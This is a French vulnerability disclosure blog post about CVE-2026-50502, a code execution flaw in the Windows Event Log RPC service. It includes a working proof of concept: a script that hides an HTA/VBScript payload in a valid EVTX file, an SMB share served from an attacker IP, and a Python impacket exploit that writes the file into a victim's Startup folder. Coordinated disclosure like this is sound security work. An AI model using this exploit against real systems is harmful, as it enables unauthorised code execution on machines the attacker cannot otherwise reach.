
CVE-2026-50502 : RCE via le service Windows Event Log (ElfrBackupELFW)
Le service Windows Event Log expose une interface RPC, il n'en fallait pas plus à Romain Bentz pour trouver une RCE !
Par :
Romain Bentz (Pixis)
July 20, 2026
Contexte
Le service Windows Event Log (EventLog) expose une interface RPC spécifiée par le protocole MS-EVEN, accessible via le named pipe \pipe\eventlog. Cette interface permet à des clients distants de manipuler les journaux d'événements : les ouvrir, les lire, les effacer et en faire des backups vers un fichier.
Deux méthodes de cette interface nous intéressent :
- ElfrOpenBELW : ouvre un journal de sauvegarde (backup event log) à partir d'un chemin, et renvoie un handle.
- ElfrBackupELFW : écrit le contenu associé à ce handle vers un fichier de destination.
Vulnérabilité historique (CVE-2025-29969)
SafeBreach avait découvert une première vulnérabilité. La méthode ElfrBackupELFW accepte deux paramètres contrôlés par l'attaquant :
- Le chemin source : D'abord passé à ElfrOpenBELW, qui peut être un chemin UNC (\\??\\UNC\\<ip>\\<share>\\<file>) pointant vers un partage SMB contrôlé par l'attaquant.
- Le chemin de destination : Un chemin arbitraire sur la machine cible.
La vulnérabilité CVE-2025-29969 était une vulnérabilité de type TOCTOU (Time-Of-Check, Time-Of-Use). En effet, lorsque la fonction ElfrOpenBELW était appelée, le service EventLog vérifiait la validité du format EVTX, et renvoyait un handle à l'utilisateur. Cependant, lorsque ce handle était passé à la fonction ElfrBackupELFW, plus aucune vérification sur le type de fichier n'était effectuée. Il était donc possible de modifier le fichier entre son ouverture et sa copie, ce qui permettait de déposer un fichier arbitraire sur le disque de la cible.
Microsoft a corrigé cette vulnérabilité en ajoutant, au moment même du backup, une vérification que ce qui est effectivement recopié est bien un fichier EVTX (structure de l'en-tête et cohérence de la taille déclarée).
Nouvelle vulnérabilité (CVE-2026-50502)
En voyant cette correction de Microsoft, je me suis alors demandé quelle était la limite dans la vérification du format evtx, que ce soit par ElfrOpenBELW ou par ElfrBackupELFW.
Ces vérifications ne contrôlent que la structure du fichier. Or il est possible de conserver l'en-tête EVTX intact et de ne modifier que les derniers octets du fichier pour y placer du code malveillant. Les en-têtes restant valides et la taille déclarée toujours cohérente avec la taille réelle. Les vérifications sur le format EVTX passent alors, le service considère le fichier comme un EVTX légitime et recopie donc notre EVTX modifié, avec le code malveillant en fin de fichier.
Le fichier que l'on dépose sur la cible n'est donc pas un fichier entièrement contrôlé. C'est un fichier EVTX valide (avec son en-tête binaire, ses octets nuls et toute sa structure interne intacte, condition sine qua non pour que le service Event Log l'accepte et le recopie) auquel on a simplement ajouté une payload à la fin (en ayant pris soin de supprimer suffisamment d'octets pour que la taille reste inchangée).
Ok, on peut ajouter du contenu arbitraire à la fin du fichier, sans qu'il ne soit refusé par les deux fonctions, cependant la plupart des formats de script refusent ce genre de fichier "hybride". Un .bat, par exemple, ne s'exécuterait pas : les octets nuls et le contenu binaire de l'en-tête EVTX cassent l'interprétation par cmd.exe, qui ne parvient jamais jusqu'au payload en fin de fichier.
C'est en testant plusieurs formats qu j'ai découvert que le moteur HTA (mshta.exe), lui, est extrêmement permissif. Il se comporte comme un moteur de rendu HTML : il parcourt le fichier, ignore tout ce qui n'est pas du HTML/script exploitable (y compris des données binaires avec leurs octets nuls) et exécute le premier bloc de code valide qu'il rencontre, quel que soit le reste. Peu lui importe que le fichier soit par ailleurs un EVTX parfaitement structuré : dès qu'il trouve le <script> VBScript ajouté en fin de fichier, il le lance.
Il ne nous reste donc qu'à remplacer la fin d'un fichier EVTX par du contenu exécutable par mshta.exe.
Fabriquer l'EVTX malveillant
Le service rejette tout fichier dont la taille réelle ne correspond pas à la taille déclarée. Il suffit alors de tronquer le fichier original d'exactement la taille du payload avant d'y ajouter le payload. La taille finale reste identique à l'originale : la contrainte de validation est satisfaite, et le payload HTA est préservé tel quel.
# 1. On part d'un EVTX valide récupéré sur une machine Windows,
# par ex. C:\Windows\System32\winevt\Logs\Application.evtx, copié en events.evtx.
# 2. On définit le payload HTA (ici, un simple lancement de calc.exe via VBScript)
PAYLOAD='<html><head>
<script language="VBScript">
CreateObject("WScript.Shell").Run "calc.exe"
</script>
</head></html>'
# 3. On mesure le payload, puis on tronque l'original d'autant avant d'appender
PAYLOAD_SIZE=$(printf '%s' "$PAYLOAD" | wc -c)
ORIGINAL_SIZE=$(stat -c%s events.evtx)
TRUNCATED=$((ORIGINAL_SIZE - PAYLOAD_SIZE))
dd if=events.evtx of=malicious.evtx bs=1 count=$TRUNCATED
printf '%s' "$PAYLOAD" >> malicious.evtx

On vérifie bien que la taille réelle de malicious.evtx est identique à celle de l'original (ici 69632 octets) :
$ ls -al events.evtx malicious.evtx
-rwxrwxr-x 1 pixis pixis 69632 Mar 4 15:41 events.evtx
-rw-rw-r-- 1 pixis pixis 69632 Mar 4 17:14 malicious.evtxExploitation
On sert d'abord malicious.evtx depuis un partage SMB contrôlé par l'attaquant (par exemple avec impacket) :
# Share vers un dossier contenant malicious.evtx
smbserver.py -smb2support Share /path/to/share/Puis on déclenche l'écriture via ElfrBackupELFW, en pointant la source vers le partage SMB et la destination vers le dossier Startup de la victime :
#!/usr/bin/env python3
# exploit.py : PoC CVE-2026-50502
TARGET_IP = "10.10.10.112"
USERNAME = "lowpriv" # utilisateur faiblement privilégié
PASSWORD = "P4ssw0rd"
ATTACKER_IP = "10.10.10.100" # hôte servant le partage SMB
SHARE_NAME = "Share"
EVTX_FILENAME = "malicious.evtx"
DEST_PATH = f"\\Users\\{USERNAME}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\loginsec.hta"
from impacket.dcerpc.v5 import even
from impacket.dcerpc.v5.dtypes import RPC_UNICODE_STRING
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
# Connexion RPC au service Event Log via le named pipe \pipe\eventlog
connection = DCERPCTransportFactory(f"ncacn_np:{TARGET_IP}[\\pipe\\eventlog]")
connection.set_credentials(USERNAME, PASSWORD)
connection.connect()
dce = connection.get_dce_rpc()
dce.set_auth_level(5) # RPC_C_AUTHN_LEVEL_PKT_PRIVACY
dce.connect()
dce.bind(even.MSRPC_UUID_EVEN) # interface MS-EVEN
# Source : chemin UNC vers le partage SMB contrôlé par l'attaquant
evtx_path = RPC_UNICODE_STRING()
evtx_path["Data"] = f'\\??\\UNC\\{ATTACKER_IP}\\{SHARE_NAME}\\{EVTX_FILENAME}'
evtx_path.fields["MaximumLength"] += 1
# Destination : Startup de l'utilisateur, exécution au prochain login
dest_path = RPC_UNICODE_STRING()
dest_path["Data"] = DEST_PATH
dest_path.fields["MaximumLength"] += 1
# ElfrOpenBELW : obtient un handle sur le "backup event log" distant (la source)
handle = even.hElfrOpenBELW(dce, evtx_path)
# ElfrBackupELFW : recopie le fichier vers la destination, dans le contexte (les droits) de l'utilisateur
even.hElfrBackupELFW(dce, handle["LogHandle"], dest_path)
print(f"[+] SUCCESS: {EVTX_FILENAME} copied to C:{DEST_PATH}")
dce.disconnect()
La machine cible va donc chercher le fichier malicious.evtx sur notre serveur SMB.

Et va écrire ce fichier dans le dossier choisi, avec le nom loginsec.hta dans cet exemple.

Sur la cible, le fichier apparaît bien dans le dossier Startup :
C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\loginsec.hta

Au prochain login de lowpriv, Windows exécute automatiquement le contenu du dossier Startup : mshta.exe prend en charge loginsec.hta et exécute le VBScript embarqué, lançant calc.exe dans le contexte de l'utilisateur.

Impact et exploitabilité
L'écriture se faisant avec les droits de l'utilisateur, il n'y a pas d'élévation de privilèges vers SYSTEM. Elle transforme un simple accès réseau authentifié en exécution de code sur la machine, là où l'attaquant n'a potentiellement aucun autre moyen d'exécuter du code.
Le scénario type est le suivant : un attaquant a compromis les identifiants d'un utilisateur (lowpriv dans cet exemple), mais ne dispose d'aucun droit d'ouverture de session interactive ou distante sur la machine (pas de RDP ou de WinRM), rien qui lui permette de lancer un processus.
Ces identifiants, à eux seuls, ne lui donnent normalement pas d'exécution. Cette vulnérabilité permet malgré tout une écriture de fichier à distance dans le contexte de cet utilisateur. S'il s'est déjà connecté sur cette machine, alors l'attaquant dépose un .hta dans le dossier Startup du profil, puis dès que l'utilisateur légitime ouvre une session sur la machine, mshta.exe exécute le payload dans son contexte. L'attaquant obtient ainsi son exécution de commande sur un hôte auquel il ne pouvait pas se connecter.
C'est donc certes une exécution de code, mais avec un impact plutôt limité.
Timeline de la divulgation coordonnée
4 mars 2026 : Soumission du rapport au MSRC
17 mars 2026 : Microsoft confirme le comportement ; passage en revue pour le programme de bounty
23 juin 2026 : Microsoft annonce un correctif pour le 14 juillet 2026 et l'attribution de CVE-2026-50502
14 juillet 2026 : Publication du correctif et de la CVE





